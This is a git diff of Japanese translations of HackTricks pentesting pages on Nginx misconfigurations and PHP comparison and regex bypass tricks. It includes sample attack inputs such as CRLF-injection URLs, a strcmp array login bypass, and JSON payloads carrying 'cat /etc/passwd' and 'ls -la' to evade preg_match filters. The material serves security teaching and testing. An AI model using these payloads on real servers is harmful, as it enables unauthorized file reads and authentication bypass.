-**脆弱性評価とペネトレーションテストのための即座に利用可能なセットアップ**。20以上のツールと機能を備えた完全なペンテストをどこからでも実行します。私たちはペンテスターを置き換えるのではなく、カスタムツール、検出、およびエクスプロイトモジュールを開発して、彼らにより深く掘り下げる時間を与え、シェルをポップして楽しんでもらいます。 +**脆弱性評価とペネトレーションテストのための即座に利用可能なセットアップ**。20以上のツールと機能を備えた完全なペンテストをどこからでも実行します。私たちはペンテスターを置き換えるのではなく、カスタムツール、検出、およびエクスプロイトモジュールを開発して、彼らにより深く掘り下げる時間を与え、シェルをポップして楽しむことができます。 {% embed url="https://pentest-tools.com/" %} -## ルートロケーションが見つかりません +## ルートの場所が見つかりません -Nginxサーバーを構成する際、**rootディレクティブ**は、ファイルが提供される基本ディレクトリを定義する重要な役割を果たします。以下は例を考慮してください: +Nginxサーバーを構成する際、**rootディレクティブ**は、ファイルが提供される基本ディレクトリを定義する重要な役割を果たします。以下は例をご覧ください: ```bash server { root /etc/nginx; @@ -33,9 +33,9 @@ proxy_pass http://127.0.0.1:8080/; } } ``` -この設定では、`/etc/nginx` がルートディレクトリとして指定されています。このセットアップにより、`/hello.txt` のような指定されたルートディレクトリ内のファイルにアクセスできます。ただし、特定の場所 (`/hello.txt`) のみが定義されていることに注意することが重要です。ルートの場所 (`location / {...}`) に関する設定がありません。この省略は、ルートディレクティブがグローバルに適用されることを意味し、ルートパス `/` へのリクエストが `/etc/nginx` の下のファイルにアクセスできるようになります。 +この構成では、`/etc/nginx` がルートディレクトリとして指定されています。この設定により、`/hello.txt` のような指定されたルートディレクトリ内のファイルにアクセスできます。ただし、特定の場所 (`/hello.txt`) のみが定義されていることに注意することが重要です。ルートの場所 (`location / {...}`) に関する設定がありません。この省略は、ルートディレクティブがグローバルに適用されることを意味し、ルートパス `/` へのリクエストが `/etc/nginx` の下のファイルにアクセスできるようになります。 -この設定から重要なセキュリティ上の考慮事項が生じます。`GET /nginx.conf` のような単純な `GET` リクエストは、`/etc/nginx/nginx.conf` にある Nginx 設定ファイルを提供することで、機密情報を公開する可能性があります。ルートを `/etc` のようなより機密性の低いディレクトリに設定することで、このリスクを軽減できますが、他の重要なファイルへの意図しないアクセスを許可する可能性があります。これには、他の設定ファイル、アクセスログ、さらにはHTTP基本認証に使用される暗号化された資格情報などが含まれます。 +この構成から重要なセキュリティ上の考慮事項が生じます。`GET /nginx.conf` のような単純な `GET` リクエストは、`/etc/nginx/nginx.conf` にある Nginx 設定ファイルを提供することで、機密情報を公開する可能性があります。ルートを `/etc` のようなより機密性の低いディレクトリに設定することで、このリスクを軽減できますが、他の重要なファイルへの意図しないアクセスを許可する可能性があります。これには、他の設定ファイル、アクセスログ、さらにはHTTPベーシック認証に使用される暗号化された資格情報などが含まれます。 ## Alias LFI Misconfiguration @@ -45,7 +45,7 @@ location /imgs { alias /path/images/; } ``` -この構成は、`/imgs../flag.txt`のようなリクエストをサーバーが解釈し、意図されたディレクトリの外のファイルにアクセスしようとしていると解釈するため、LFI攻撃に対して脆弱です。これにより、`/path/images/../flag.txt`に解決されます。この欠陥により、攻撃者はウェブ経由でアクセスすべきでないサーバーのファイルを取得できます。 +この構成は、`/imgs../flag.txt`のようなリクエストをサーバーが解釈し、意図されたディレクトリの外のファイルにアクセスしようとしていると解釈するため、LFI攻撃に対して脆弱です。これにより、`/path/images/../flag.txt`に解決されます。この欠陥により、攻撃者はウェブを介してアクセスすべきでないサーバーのファイルを取得できます。 この脆弱性を緩和するために、構成を次のように調整する必要があります: ``` @@ -75,31 +75,27 @@ location = /admin/ { deny all; } ``` -{% content-ref url="../../pentesting-web/proxy-waf-protections-bypass.md" %} -[proxy-waf-protections-bypass.md](../../pentesting-web/proxy-waf-protections-bypass.md) -{% endcontent-ref %} - -## Unsafe variable use / HTTP Request Splitting +## 変数の安全でない使用 / HTTPリクエストの分割 {% hint style="danger" %} -脆弱な変数 `$uri` と `$document_uri` が使用されており、これらは `$request_uri` に置き換えることで修正できます。 +脆弱な変数 `$uri` と `$document_uri` は、`$request_uri` に置き換えることで修正できます。 正規表現も脆弱になる可能性があります: -`location ~ /docs/([^/])? { … $1 … }` - 脆弱 +`location ~ /docs/([^/])? { … $1 … }` - 脆弱 `location ~ /docs/([^/\s])? { … $1 … }` - 脆弱ではない(スペースをチェック) `location ~ /docs/(.*)? { … $1 … }` - 脆弱ではない {% endhint %} -Nginx構成の脆弱性は以下の例で示されています: +以下の例によって、Nginx構成の脆弱性が示されています: ``` location / { return 302 https://example.com$uri; } ``` -以下は、HTTPリクエスト内の新しい行を示す\r(キャリッジリターン)と\n(ラインフィード)文字であり、それらのURLエンコード形式は`%0d%0a`として表されます。これらの文字をリクエストに含めると(例:`http://localhost/%0d%0aDetectify:%20clrf`)、設定ミスのサーバーは`Detectify`という新しいヘッダーを発行します。これは、$uri変数がURLエンコードされた新しい行文字をデコードするため、応答内に予期しないヘッダーが現れるためです。 +HTTPリクエスト内の改行文字を示す文字\ r(キャリッジリターン)と\ n(ラインフィード)、およびそれらのURLエンコード形式は`%0d%0a`として表されます。これらの文字をリクエストに含める(例:`http://localhost/%0d%0aDetectify:%20clrf`)と、設定ミスのサーバーは`Detectify`という新しいヘッダーを発行します。これは、$uri変数がURLエンコードされた改行文字をデコードするため、応答に予期しないヘッダーが含まれるためです。 ``` HTTP/1.1 302 Moved Temporarily Server: nginx/1.19.3 @@ -109,23 +105,23 @@ Connection: keep-alive Location: https://example.com/ Detectify: clrf ``` -リクエストスプリッティングとCRLFインジェクションのリスクについては、[https://blog.detectify.com/2019/06/14/http-response-splitting-exploitations-and-mitigations/](https://blog.detectify.com/2019/06/14/http-response-splitting-exploitations-and-mitigations/)で詳細を確認してください。 +リクエストスプリッティングとCRLFインジェクションのリスクについては、[こちら](https://blog.detectify.com/2019/06/14/http-response-splitting-exploitations-and-mitigations/)で詳細を確認してください。 -また、この技術は[**このトーク**](https://www.youtube.com/watch?v=gWQyWdZbdoY\&list=PL0xCSYnG\_iTtJe2V6PQqamBF73n7-f1Nr\&index=77)で脆弱な例と検出メカニズムとともに説明されています。たとえば、このミス構成をブラックボックスの観点から検出するために、次のリクエストを使用できます: +また、この技術は[**このトーク**](https://www.youtube.com/watch?v=gWQyWdZbdoY\&list=PL0xCSYnG\_iTtJe2V6PQqamBF73n7-f1Nr\&index=77)でいくつかの脆弱な例と検出メカニズムとともに説明されています。たとえば、このミス構成をブラックボックスの観点から検出するために、次のリクエストを使用できます: - `https://example.com/%20X` - 任意のHTTPコード - `https://example.com/%20H` - 400 Bad Request -脆弱な場合、最初のリクエストは「X」が任意のHTTPメソッドであるため返され、2番目のリクエストはHが有効なメソッドでないためエラーが返されます。したがって、サーバーは次のようなものを受信します:`GET / H HTTP/1.1` これによりエラーが発生します。 +脆弱な場合、最初のリクエストは「X」が任意のHTTPメソッドであるため、"X"として返され、2番目のリクエストはHが有効なメソッドでないためエラーが返されます。したがって、サーバーは次のようなものを受信します:`GET / H HTTP/1.1` これによりエラーが発生します。 -別の検出例は次のとおりです: +他の検出例: - `http://company.tld/%20HTTP/1.1%0D%0AXXXX:%20x` - 任意のHTTPコード - `http://company.tld/%20HTTP/1.1%0D%0AHost:%20x` - 400 Bad Request -そのトークで提示された脆弱な構成の例には、次のようなものがあります: +そのトークで提示されたいくつかの脆弱な構成例: -- **`$uri`** が最終URLにそのまま設定されていることに注目してください +- **`$uri`** が最終URLにそのまま設定されていることに注目してください。 ``` location ^~ /lite/api/ { proxy_pass http://lite-backend$uri$is_args$args; @@ -145,17 +141,17 @@ proxy_pass https://company-bucket.s3.amazonaws.com$uri; ``` ### 任意の変数 -特定の状況下で、**ユーザー提供データ** が **Nginx変数** として扱われる可能性があることが発見されました。この振る舞いの原因はやや理解しづらいですが、珍しいわけではなく、簡単に検証できるわけでもありません。この異常はHackerOneのセキュリティレポートで強調されており、[こちら](https://hackerone.com/reports/370094)で閲覧できます。エラーメッセージのさらなる調査により、その発生箇所が[NginxのコードベースのSSIフィルターモジュール](https://github.com/nginx/nginx/blob/2187586207e1465d289ae64cedc829719a048a39/src/http/modules/ngx\_http\_ssi\_filter\_module.c#L365)内で特定され、サーバーサイドインクルード(SSI)がその原因であることが明らかになりました。 +特定の状況下で、**ユーザー提供データ** が **Nginx変数** として扱われる可能性があることが発見されました。この挙動の原因はやや理解しづらいですが、珍しいわけではなく、簡単に検証できるわけでもありません。この異常は、HackerOneのセキュリティレポートで強調されており、[こちら](https://hackerone.com/reports/370094)で閲覧できます。エラーメッセージのさらなる調査により、その発生箇所が[NginxのコードベースのSSIフィルターモジュール](https://github.com/nginx/nginx/blob/2187586207e1465d289ae64cedc829719a048a39/src/http/modules/ngx\_http\_ssi\_filter\_module.c#L365)内で特定され、サーバーサイドインクルード(SSI)がその原因であることが明らかになりました。 この設定ミスを**検出する**ために、次のコマンドを実行できます。これには、refererヘッダーを設定して変数の印刷をテストする必要があります: ```bash $ curl -H ‘Referer: bar’ http://localhost/foo$http_referer | grep ‘foobar’ ``` -システム全体でこの設定ミスをスキャンした結果、複数のインスタンスでユーザーによってNginx変数が表示される可能性があることが判明しました。ただし、脆弱なインスタンスの数の減少から、この問題に対するパッチ適用の取り組みがある程度成功していることが示唆されています。 +システム全体でこのミス構成のスキャンを実行すると、複数のインスタンスでユーザーによってNginx変数が出力される可能性が明らかになりました。ただし、脆弱なインスタンスの数の減少から、この問題に対するパッチ適用の取り組みがある程度成功していることが示唆されています。 ## バックエンドの生のレスポンスの読み取り -Nginxは、`proxy_pass`を介してバックエンドによって生成されたエラーやHTTPヘッダーを傍受する機能を提供しており、内部エラーメッセージやヘッダーを隠すことを目的としています。これは、Nginxがバックエンドエラーに応答してカスタムエラーページを提供することで実現されます。ただし、Nginxが無効なHTTPリクエストに遭遇した場合に課題が発生します。そのようなリクエストは受信されたままバックエンドに転送され、バックエンドの生のレスポンスがNginxの介入なしに直接クライアントに送信されます。 +Nginxは、`proxy_pass`を介してバックエンドによって生成されたエラーやHTTPヘッダーを傍受する機能を提供しており、内部エラーメッセージやヘッダーを隠すことを目的としています。これは、Nginxがバックエンドエラーに応答してカスタムエラーページを提供することで実現されます。ただし、Nginxが無効なHTTPリクエストに遭遇した場合に課題が発生します。そのようなリクエストは受信されたままバックエンドに転送され、バックエンドの生のレスポンスがNginxの介入なしにクライアントに直接送信されます。 uWSGIアプリケーションを使用した例のシナリオを考えてみましょう: ```python @@ -171,22 +167,22 @@ proxy_intercept_errors on; proxy_hide_header Secret-Header; } ``` -* [**proxy\_intercept\_errors**](http://nginx.org/en/docs/http/ngx\_http\_proxy\_module.html#proxy\_intercept\_errors): このディレクティブは、Nginxがステータスコードが300を超えるバックエンドのレスポンスに対してカスタムレスポンスを提供するようにします。例えば、uWSGIアプリケーションの場合、`500エラー`レスポンスがNginxによってインターセプトされ、処理されることを保証します。 +* [**proxy\_intercept\_errors**](http://nginx.org/en/docs/http/ngx\_http\_proxy\_module.html#proxy\_intercept\_errors): このディレクティブは、Nginxがステータスコードが300よりも大きいバックエンドのレスポンスに対してカスタムレスポンスを提供するようにします。例えば、uWSGIアプリケーションの場合、`500エラー`レスポンスがNginxによってインターセプトされて処理されることを保証します。 * [**proxy\_hide\_header**](http://nginx.org/en/docs/http/ngx\_http\_proxy\_module.html#proxy\_hide\_header): その名前が示すように、このディレクティブは特定のHTTPヘッダーをクライアントから隠します。これによりプライバシーとセキュリティが向上します。 有効な`GET`リクエストが行われると、Nginxは通常通り処理し、秘密のヘッダーを明らかにせずに標準のエラーレスポンスを返します。ただし、無効なHTTPリクエストはこのメカニズムをバイパスし、秘密のヘッダーやエラーメッセージを含む生のバックエンドレスポンスが公開されます。 ## merge\_slashesをoffに設定 -デフォルトでは、Nginxの**`merge_slashes`ディレクティブ**は**`on`**に設定されており、URL内の複数のスラッシュを単一のスラッシュに圧縮します。この機能は、URL処理を効率化する一方で、特にNginxの背後にあるアプリケーションに存在するローカルファイルインクルージョン(LFI)攻撃に対して脆弱なアプリケーションにおいて、偶然にも脆弱性を隠す可能性があります。セキュリティ専門家の**Danny Robinson**と**Rotem Bar**は、特にNginxがリバースプロキシとして機能する場合に、このデフォルトの動作に関連する潜在的なリスクを強調しています。 +デフォルトでは、Nginxの**`merge_slashes`ディレクティブ**は**`on`**に設定されており、URL内の複数のスラッシュを単一のスラッシュに圧縮します。この機能は、URL処理を効率化する一方で、特にNginxの背後にあるアプリケーションに存在するローカルファイルインクルージョン(LFI)攻撃に対して脆弱なアプリケーションにおいて、脆弱性を偶然にも隠す可能性があります。セキュリティ専門家の**Danny Robinson**と**Rotem Bar**は、特にNginxがリバースプロキシとして機能する場合に、このデフォルトの動作に関連する潜在的なリスクを強調しています。 -このようなリスクを緩和するために、これらの脆弱性に対して脆弱なアプリケーションでは、**`merge_slashes`ディレクティブをoffに設定**することが推奨されています。これにより、NginxはURL構造を変更せずにリクエストをアプリケーションに転送し、基礎となるセキュリティの問題を隠さないようにします。 +このようなリスクを緩和するために、これらの脆弱性に対して感染しやすいアプリケーションでは、**`merge_slashes`ディレクティブをoffに設定**することが推奨されています。これにより、NginxがURL構造を変更せずにリクエストをアプリケーションに転送することが保証され、基礎となるセキュリティの問題を隠さないようになります。 -詳細については、[Danny RobinsonとRotem Bar](https://medium.com/appsflyer/nginx-may-be-protecting-your-applications-from-traversal-attacks-without-you-even-knowing-b08f882fd43d)を参照してください。 +詳細については、[Danny Robinson and Rotem Bar](https://medium.com/appsflyer/nginx-may-be-protecting-your-applications-from-traversal-attacks-without-you-even-knowing-b08f882fd43d)を参照してください。 ### **Maclicious Response Headers** -[**この解説**](https://mizu.re/post/cors-playground)に示されているように、Webサーバーからのレスポンスに特定のヘッダーが存在すると、Nginxプロキシの動作が変わります。これらを[**ドキュメント**](https://www.nginx.com/resources/wiki/start/topics/examples/x-accel/)で確認できます: +[**この解説**](https://mizu.re/post/cors-playground)に示されているように、Webサーバーからの応答に特定のヘッダーが存在すると、Nginxプロキシの動作が変わります。これらを[**ドキュメント**](https://www.nginx.com/resources/wiki/start/topics/examples/x-accel/)で確認できます: * `X-Accel-Redirect`: Nginxに指示して、リクエストを指定された場所に内部的にリダイレクトします。 * `X-Accel-Buffering`: Nginxがレスポンスをバッファリングするかどうかを制御します。 @@ -194,11 +190,11 @@ proxy_hide_header Secret-Header; * `X-Accel-Expires`: X-Accel-Redirectを使用する際のレスポンスの有効期限を設定します。 * `X-Accel-Limit-Rate`: X-Accel-Redirectを使用する際のレスポンスの転送速度を制限します。 -例えば、ヘッダー**`X-Accel-Redirect`**は、nginx内で内部**リダイレクト**を引き起こします。そのため、**`root /`**というnginx構成と、Webサーバーからの**`X-Accel-Redirect: .env`**というレスポンスがある場合、nginxは**`/.env`**の内容を送信します(パストラバーサル)。 +例えば、ヘッダー**`X-Accel-Redirect`**は、nginx内で内部**リダイレクト**を引き起こします。そのため、**`root /`**というnginx構成と、Webサーバーからの応答に**`X-Accel-Redirect: .env`**が含まれている場合、nginxは**`/.env`**の内容を送信します(パストラバーサル)。 ### **Mapディレクティブのデフォルト値** -**Nginxの設定**では、`map`ディレクティブはしばしば**認可制御**に役立ちます。一般的な間違いは、**デフォルト**値を指定しないことで、認可されていないアクセスを許可する可能性があることです。例えば: +**Nginxの構成**では、`map`ディレクティブはしばしば**認可制御**に役立ちます。一般的な間違いは、**デフォルト**値を指定しないことで、認可されていないアクセスが発生する可能性があることです。例えば: ```yaml http { map $uri $mappocallow { @@ -217,24 +213,24 @@ return 200 "Hello. It is private area: $mappocallow"; } } ``` -Without a `default`, a **malicious user** can bypass security by accessing an **undefined URI** within `/map-poc`. [The Nginx manual](https://nginx.org/en/docs/http/ngx\_http\_map\_module.html) advises setting a **default value** to avoid such issues. +`default`がないと、**悪意のあるユーザー**が`/map-poc`内の**未定義のURI**にアクセスしてセキュリティをバイパスできます。[Nginxマニュアル](https://nginx.org/en/docs/http/ngx\_http\_map\_module.html)によると、このような問題を回避するためには**デフォルト値**を設定することが推奨されています。 -### **DNS Spoofing Vulnerability** +### **DNSスプーフィング脆弱性** -DNS spoofing against Nginx is feasible under certain conditions. If an attacker knows the **DNS server** used by Nginx and can intercept its DNS queries, they can spoof DNS records. This method, however, is ineffective if Nginx is configured to use **localhost (127.0.0.1)** for DNS resolution. Nginx allows specifying a DNS server as follows: +特定の条件下では、Nginxに対するDNSスプーフィングが可能です。攻撃者がNginxが使用する**DNSサーバー**を知っており、そのDNSクエリを傍受できる場合、DNSレコードをスプーフィングできます。ただし、NginxがDNS解決に**localhost (127.0.0.1)**を使用するように構成されている場合、この方法は効果がありません。Nginxでは、以下のようにDNSサーバーを指定することができます: ```yaml resolver 8.8.8.8; ``` ### **`proxy_pass`および`internal`ディレクティブ** -**`proxy_pass`**ディレクティブは、リクエストを他のサーバーにリダイレクトするために内部的または外部的に使用されます。**`internal`**ディレクティブは、特定の場所がNginx内でのみアクセス可能であることを保証します。これらのディレクティブ自体には脆弱性はありませんが、セキュリティの欠陥を防ぐために慎重な構成が必要です。 +**`proxy_pass`**ディレクティブは、リクエストを他のサーバーにリダイレクトするために内部的または外部的に使用されます。**`internal`**ディレクティブは、特定の場所がNginx内でのみアクセス可能であることを確認します。これらのディレクティブ自体には脆弱性はありませんが、セキュリティの欠陥を防ぐために慎重な構成が必要です。 ## proxy\_set\_header Upgrade&Connection NginxサーバーがUpgradeおよびConnectionヘッダーを渡すように構成されている場合、[**h2cスマグリング攻撃**](../../pentesting-web/h2c-smuggling.md)が実行され、保護された/内部エンドポイントにアクセスできる可能性があります。 {% hint style="danger" %} -この脆弱性により、攻撃者が`proxy_pass`エンドポイント(この場合は`http://backend:9999`)との直接接続を確立することができ、そのコンテンツはNginxによってチェックされない可能性があります。 +この脆弱性により、攻撃者は**`proxy_pass`エンドポイント**(この場合は`http://backend:9999`)と直接接続を確立することができ、そのコンテンツはNginxによってチェックされない可能性があります。 {% endhint %} [こちら](https://bishopfox.com/blog/h2c-smuggling-request)から`/flag`を盗むための脆弱な構成の例: @@ -258,12 +254,12 @@ deny all; } ``` {% hint style="warning" %} -`proxy_pass`が特定の**パス**を指していたとしても、例えば`http://backend:9999/socket.io`のような場合でも、接続は`http://backend:9999`と確立されるため、その内部エンドポイント内の他のパスにアクセスできます。つまり、`proxy_pass`のURLにパスが指定されていても問題ありません。 +`proxy_pass` が特定の **パス** 、例えば `http://backend:9999/socket.io` を指していたとしても、接続は `http://backend:9999` と確立されるため、内部エンドポイント内の他のパスにアクセスできます。つまり、`proxy_pass` のURLにパスが指定されていても問題ありません。 {% endhint %} ## 自分で試してみる -Detectifyは、この記事で議論されているいくつかのミス構成を持つ脆弱なNginxテストサーバーをDockerを使用して設定し、それらを自分で見つけてみることができるGitHubリポジトリを作成しました! +Detectify は、この記事で議論されているいくつかのミス構成を持つ脆弱な Nginx テストサーバーを Docker を使用して設定し、それらを自分で見つけてみることができる GitHub リポジトリを作成しました! [https://github.com/detectify/vulnerable-nginx](https://github.com/detectify/vulnerable-nginx) @@ -271,11 +267,11 @@ Detectifyは、この記事で議論されているいくつかのミス構成 ### [GIXY](https://github.com/yandex/gixy) -GixyはNginx構成を分析するツールです。Gixyの主な目標はセキュリティミス構成を防止し、欠陥検出を自動化することです。 +Gixy は Nginx 構成を分析するツールです。Gixy の主な目標はセキュリティミス構成を防止し、欠陥検出を自動化することです。 ### [Nginxpwner](https://github.com/stark0de/nginxpwner) -Nginxpwnerは一般的なNginxミス構成と脆弱性を探すためのシンプルなツールです。 +Nginxpwner は一般的な Nginx ミス構成と脆弱性を探すためのシンプルなツールです。 ## 参考文献 @@ -283,9 +279,9 @@ Nginxpwnerは一般的なNginxミス構成と脆弱性を探すためのシン * [**http://blog.zorinaq.com/nginx-resolver-vulns/**](http://blog.zorinaq.com/nginx-resolver-vulns/) * [**https://github.com/yandex/gixy/issues/115**](https://github.com/yandex/gixy/issues/115) -
+
-**脆弱性評価および侵害テストのための即座に利用可能なセットアップ**。20以上のツールと機能を備えた完全なペンテストをどこからでも実行し、レポート作成まで行います。私たちはペンテスターを置き換えるのではなく、彼らがより深く掘り下げ、シェルをポップし、楽しむためのカスタムツール、検出、およびエクスプロイトモジュールを開発しています。 +**脆弱性評価およびペネトレーションテストのための即座に利用可能なセットアップ**。20以上のツールと機能を備えた完全なペンテストをどこからでも実行します。レコンからレポート作成まで。私たちはペンテスターを置き換えるのではなく、彼らにより深く掘り下げ、シェルをポップし、楽しんでもらうためにカスタムツール、検出、およびエクスプロイトモジュールを開発しています。 {% embed url="https://pentest-tools.com/" %} @@ -293,12 +289,12 @@ Nginxpwnerは一般的なNginxミス構成と脆弱性を探すためのシン ゼロからヒーローまでのAWSハッキングを学ぶ htARTE(HackTricks AWS Red Team Expert) -HackTricksをサポートする他の方法: +HackTricks をサポートする他の方法: -* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -* [**公式PEASS&HackTricksスウォッグ**](https://peass.creator-spring.com)を入手する -* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFT**](https://opensea.io/collection/the-peass-family)コレクションを見つける -* **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**または[telegramグループ](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**をフォロー**してください。 -* **HackTricks**および**HackTricks Cloud**のGitHubリポジトリにPRを提出して、あなたのハッキングトリックを共有してください。 +* **HackTricks で企業を宣伝したい** または **HackTricks をPDFでダウンロードしたい** 場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください! +* [**公式PEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を入手する +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) コレクションを見つける +* **💬 [**Discord グループ**](https://discord.gg/hRep4RUj7f) に参加するか、[**telegram グループ**](https://t.me/peass) に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** をフォローする。** +* **ハッキングトリックを共有するために** [**HackTricks**](https://github.com/carlospolop/hacktricks) と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github リポジトリに PR を提出する diff --git a/network-services-pentesting/pentesting-web/php-tricks-esp/README.md b/network-services-pentesting/pentesting-web/php-tricks-esp/README.md index 8cb1add3f..404287725 100644 --- a/network-services-pentesting/pentesting-web/php-tricks-esp/README.md +++ b/network-services-pentesting/pentesting-web/php-tricks-esp/README.md @@ -2,19 +2,19 @@
-ゼロからヒーローまでAWSハッキングを学ぶ htARTE(HackTricks AWS Red Team Expert) +**htARTE(HackTricks AWS Red Team Expert)** **を使って、ゼロからヒーローまでAWSハッキングを学ぶ** HackTricksをサポートする他の方法: * **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! * [**公式PEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を入手する * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける -* **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦で**フォロー**する [**@carlospolopm**](https://twitter.com/hacktricks\_live)**。** -* **ハッキングトリックを共有するためにPRを提出して** [**HackTricks**](https://github.com/carlospolop/hacktricks) と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) のgithubリポジトリに。 +* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**をフォローする** +* **ハッキングトリックを共有するために、PRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) **と** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **のGitHubリポジトリに提出する**
-
+
{% embed url="https://websec.nl/" %} @@ -42,15 +42,15 @@ PHPで`==`が使用されると、比較が予期しない挙動を示す場合 PHP比較テーブル: [https://www.php.net/manual/en/types.comparisons.php](https://www.php.net/manual/en/types.comparisons.php) -![](<../../../.gitbook/assets/image (564).png>) +![](<../../../.gitbook/assets/image (567).png>) {% file src="../../../.gitbook/assets/EN-PHP-loose-comparison-Type-Juggling-OWASP (1).pdf" %} - `"string" == 0 -> True` 数字で始まらない文字列は数字と等しい -- `"0xAAAA" == "43690" -> True` 10進数または16進数形式の数字で構成された文字列は、他の数字/文字列と比較して同じ場合にTrueとなる(文字列内の数字は数字として解釈される) +- `"0xAAAA" == "43690" -> True` 10進数または16進数形式の数字で構成された文字列は、他の数字/文字列と比較してTrueとなる(文字列内の数字は数字として解釈される) - `"0e3264578" == 0 --> True` "0e"で始まり、その後に何かが続く文字列は0と等しい - `"0X3264578" == 0X --> True` "0"で始まり、任意の文字(Xは任意の文字)が続き、その後に何かが続く文字列は0と等しい -- `"0e12334" == "0" --> True` これは非常に興味深いです。いくつかのケースでは、"0"で始まり、ハッシュ化された内容と比較される文字列の入力を制御できます。したがって、"0e"で始まり、任意の文字がないハッシュを作成する値を提供できれば、比較をバイパスできます。この形式の**既にハッシュ化された文字列**はここで見つけることができます: [https://github.com/spaze/hashes](https://github.com/spaze/hashes) +- `"0e12334" == "0" --> True` これは非常に興味深いです。いくつかのケースでは、"0"で始まり、ハッシュ化されたコンテンツと比較される文字列入力を制御できます。したがって、"0e"で始まり、任意の文字がないハッシュを作成する値を提供できれば、比較をバイパスできます。この形式の**既にハッシュ化された文字列**はここで見つけることができます: [https://github.com/spaze/hashes](https://github.com/spaze/hashes) - `"X" == 0 --> True` 文字列内の任意の文字は整数0と等しい 詳細は[https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09](https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09)で確認できます。 @@ -67,7 +67,7 @@ var_dump(in_array(0, $values, true)); ``` ### strcmp()/strcasecmp() -この関数が**任意の認証チェック**(例:パスワードのチェック)に使用されている場合、ユーザーが比較の一方を制御できると、パスワードの値として文字列の代わりに空の配列を送信することができ、このチェックをバイパスできます (`https://example.com/login.php/?username=admin&password[]=`)。 +この関数が**任意の認証チェック**(パスワードのチェックなど)に使用されている場合、ユーザーが比較の一方を制御できると、パスワードの値として文字列の代わりに空の配列を送信することができ、このチェックをバイパスできます (`https://example.com/login.php/?username=admin&password[]=`)。 ```php if (!strcmp("real_pwd","real_pwd")) { echo "Real Password"; } else { echo "No Real Password"; } // Real Password @@ -76,9 +76,7 @@ if (!strcmp(array(),"real_pwd")) { echo "Real Password"; } else { echo "No Real ``` ### 厳密な型変換 -`strcasecmp()`でも同じエラーが発生します。 - -たとえ`===`が使用されていても、**型変換**に**脆弱な比較**が発生する可能性があります。たとえば、比較が行われる前にデータが異なるタイプのオブジェクトに変換されている場合: +たとえ `===` が使用されている場合でも、**型変換**に**脆弱**なエラーが発生する可能性があります。たとえば、比較が行われる前にデータが異なるタイプのオブジェクトに変換されている場合: ```php (int) "1abc" === (int) "1xyz" //This will be true ``` @@ -88,7 +86,7 @@ if (!strcmp(array(),"real_pwd")) { echo "Real Password"; } else { echo "No Real #### 改行バイパス -ただし、regexpの開始を区切るとき、`preg_match()`は**ユーザー入力の最初の行のみをチェック**します。その後、何らかの方法で**複数行に入力を送信**できる場合、このチェックをバイパスできるかもしれません。例: +ただし、regexpの開始を区切るときに、`preg_match()`は**ユーザー入力の最初の行のみをチェック**するため、何らかの方法で**複数行で入力を送信**できると、このチェックをバイパスできるかもしれません。例: ```php $myinput="aaaaaaa 11111111"; //Notice the new line @@ -101,7 +99,7 @@ echo preg_match("/^.*1/",$myinput); echo preg_match("/^.*1.*$/",$myinput); //0 --> In this scenario preg_match DOESN'T find the char "1" ``` -このチェックをバイパスするためには、**新しい行でurlエンコードされた値を送信**(`%0A`)するか、**JSONデータ**を送信できる場合は、**複数行に分けて**送信します: +このチェックをバイパスするためには、**新しい行でurlエンコードされた値を送信**(`%0A`)するか、**JSONデータ**を送信できる場合は、**複数行で送信**してください: ```php { "cmd": "cat /etc/passwd" @@ -109,10 +107,10 @@ echo preg_match("/^.*1.*$/",$myinput); ``` Find an example here: [https://ramadistra.dev/fbctf-2019-rceservice](https://ramadistra.dev/fbctf-2019-rceservice) -#### **長さエラー回避** +#### **長さエラーバイパス** -(このバイパスは、おそらくPHP 5.2.5で試されましたが、PHP 7.3.15では機能しないようです)\ -`preg_match()`に非常に**大きな入力**を送信できる場合、それを**処理できなくなり**、チェックを**バイパス**できます。たとえば、JSONをブラックリストに登録している場合、次のように送信できます: +(このバイパスは、おそらくPHP 5.2.5で試され、PHP 7.3.15では機能しなかったようです)\ +`preg_match()` に非常に**大きな入力**を送信できる場合、それを**処理できなくなり**、チェックを**バイパス**できます。たとえば、JSONをブラックリストに登録している場合、次のように送信できます: ```bash payload = '{"cmd": "ls -la", "injected": "'+ "a"*1000001 + '"}' ``` @@ -120,15 +118,15 @@ payload = '{"cmd": "ls -la", "injected": "'+ "a"*1000001 + '"}' トリック元: [https://simones-organization-4.gitbook.io/hackbook-of-a-hacker/ctf-writeups/intigriti-challenges/1223](https://simones-organization-4.gitbook.io/hackbook-of-a-hacker/ctf-writeups/intigriti-challenges/1223) および [https://mizu.re/post/pong](https://mizu.re/post/pong) -
+
